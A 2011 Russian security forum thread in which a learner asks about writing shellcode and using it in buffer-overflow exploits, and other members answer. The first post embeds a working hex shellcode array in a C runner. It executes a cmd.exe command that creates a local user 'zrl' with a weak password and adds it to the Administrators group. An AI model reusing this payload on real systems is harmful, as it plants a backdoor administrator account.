Старый 17.05.2011, 11:20   #1
SeNaP
 
Аватар для SeNaP
 
Регистрация: 03.08.2010
Сообщений: 152
Репутация: 10
По умолчанию Вопросы про шелл кодинг

Извините если не в ту ветку попал, но после прочтении множество статей, у меня появилась каша в голове.
И конечно появились вопросы
1) Для чего использовать шелл код, а потом его использовать в C?
Как я понимаю, сначала пишется код на ассемблере, потом с бинарика снимается шестнадцатеричный код. В итоге получается, что то типа такого
Код:
#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 
   
int main(){ 
      
    unsigned char shellcode[]= 
    "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x5d\x53\xbb\xad\x23\x86\x7c"
    "\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff"
    "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"
    "\x65\x72\x20\x7a\x72\x6c\x20\x31\x32\x33\x34\x35\x36\x20\x2f\x61\x64"
    "\x64\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f"
    "\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73"
    "\x20\x2f\x61\x64\x64\x20\x7a\x72\x6c\x20\x26\x26\x20\x6e\x65\x74\x20"
    "\x75\x73\x65\x72\x20\x7a\x72\x6c"; 
   
    printf("Size = %d bytes\n", strlen(shellcode)); 
   
    ((void (*)())shellcode)(); 
      
      
   
    return 0;
}
А нельзя было бы сразу собрать PE файл в ассемблере?
Или со вставкой в C ассемблера? __asm{..........} ?

2)Пересмотрел видюхи от saper'a про переполнения буффера
https://rdot.org/forum/showthread.php?t=1450
В консоле в аргументах он вводит комбинации клавиш которым соответсвует аски коды.
А нельзя было бы написать шелл код, который вызывает функцию по определённому адресу и вместо комбинаций клавиш использовать этот самый шелл код?
SeNaP вне форума   Ответить с цитированием
Старый 17.05.2011, 13:40   #2
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

1. шел код - это инъекция машинного кода. он должен быть на 100% именно таким, каким должен быть хоть одно отклонение и каюк шелу.

Цитата:
А нельзя было бы сразу собрать PE файл в ассемблере?
можно было если писать весь функционал на ассемблере. но это неудобно, поэтому пишут только шел.

Цитата:
Или со вставкой в C ассемблера? __asm{..........} ?
нельзя __asm - это недоасм с ним нет 100% контроля над кодом и всех фишек настоящего асма.

2. конечно можно было, только какой в этом был бы смысл ?
видео(не смотрел, но по самой идее) демонстрирует факт того, что передачей хитрой строки бажному кому можно выполнить свой код.
DrakonHaSh вне форума   Ответить с цитированием
Старый 17.05.2011, 13:51   #3
saper
 
Аватар для saper
 
Регистрация: 13.03.2011
Сообщений: 26
Репутация: 1
По умолчанию

Есть разные виды шелкодов, его можно написать и на ассемблере, здесь суть в том чтоб было ясно.
Еще есть разные службы которые блокирую роботу шеллкода, вот и приходится ити на разные фокусы из системой.
Еще почему на ассемблере, потому что очень важно розмер данных в памяти, а на ассмбелер можно писать программы малых розмеров.

Цитата:
А нельзя было бы написать шелл код, который вызывает функцию
Если я правильно понял, то нажал Ctrl + C - сроботал эксплоит?
я неделал такого, но что скажу, опять же проблема выбор адреса в памяти и разместить данные в памяти, и размер данных, так все кажется просто, потому что адреса и все данные могуть быть разные
__________________
Тяжёлое детство: восьмибитные игрушки :secret:
saper вне форума   Ответить с цитированием
Старый 17.05.2011, 16:08   #4
SeNaP
 
Аватар для SeNaP
 
Регистрация: 03.08.2010
Сообщений: 152
Репутация: 10
По умолчанию

DrakonHaSh, спасибо
saper, наверное ты не правильно понял. Я уже не помню какой адрес функции overload был в твоей видюхе. Пусть будет например 0x8048436.
Дак вот, почему бы не написать в ассемблере, что то типа такого
Код:
....
mov ebx,0x8048436
call ebx
....
И потом снять с него шестнадцатеричный код, т.е. получить шелл код. Потом этот самый код вставить в Id User. т.е. использовать шелл код , в место набора комбинаций клавиш которым соответствуют аски коды, чтобы получить 8048436.
SeNaP вне форума   Ответить с цитированием
Старый 17.05.2011, 16:55   #5
NetAng
 
Аватар для NetAng
 
Регистрация: 05.01.2011
Сообщений: 34
Репутация: 1
По умолчанию

Цитата:
mov ebx,0x8048436
call ebx
можно так.
NetAng вне форума   Ответить с цитированием
Старый 17.05.2011, 16:57   #6
SeNaP
 
Аватар для SeNaP
 
Регистрация: 03.08.2010
Сообщений: 152
Репутация: 10
По умолчанию

А если бы не было переполнения буффера, можно было бы всё таки вызвать функцию, зная её адрес?
SeNaP вне форума   Ответить с цитированием
Старый 17.05.2011, 17:01   #7
saper
 
Аватар для saper
 
Регистрация: 13.03.2011
Сообщений: 26
Репутация: 1
По умолчанию

если нет переполнение буфера, то нет и уязвимости, соответственно нет, потому что данные должны записать на то что указывает инструкция ret
__________________
Тяжёлое детство: восьмибитные игрушки :secret:
saper вне форума   Ответить с цитированием
Старый 17.05.2011, 17:07   #8
SeNaP
 
Аватар для SeNaP
 
Регистрация: 03.08.2010
Сообщений: 152
Репутация: 10
По умолчанию

Цитата:
Сообщение от saper Посмотреть сообщение
если нет переполнение буфера, то нет и уязвимости, соответственно нет, потому что данные должны записать на то что указывает инструкция ret
Спасибо
SeNaP вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot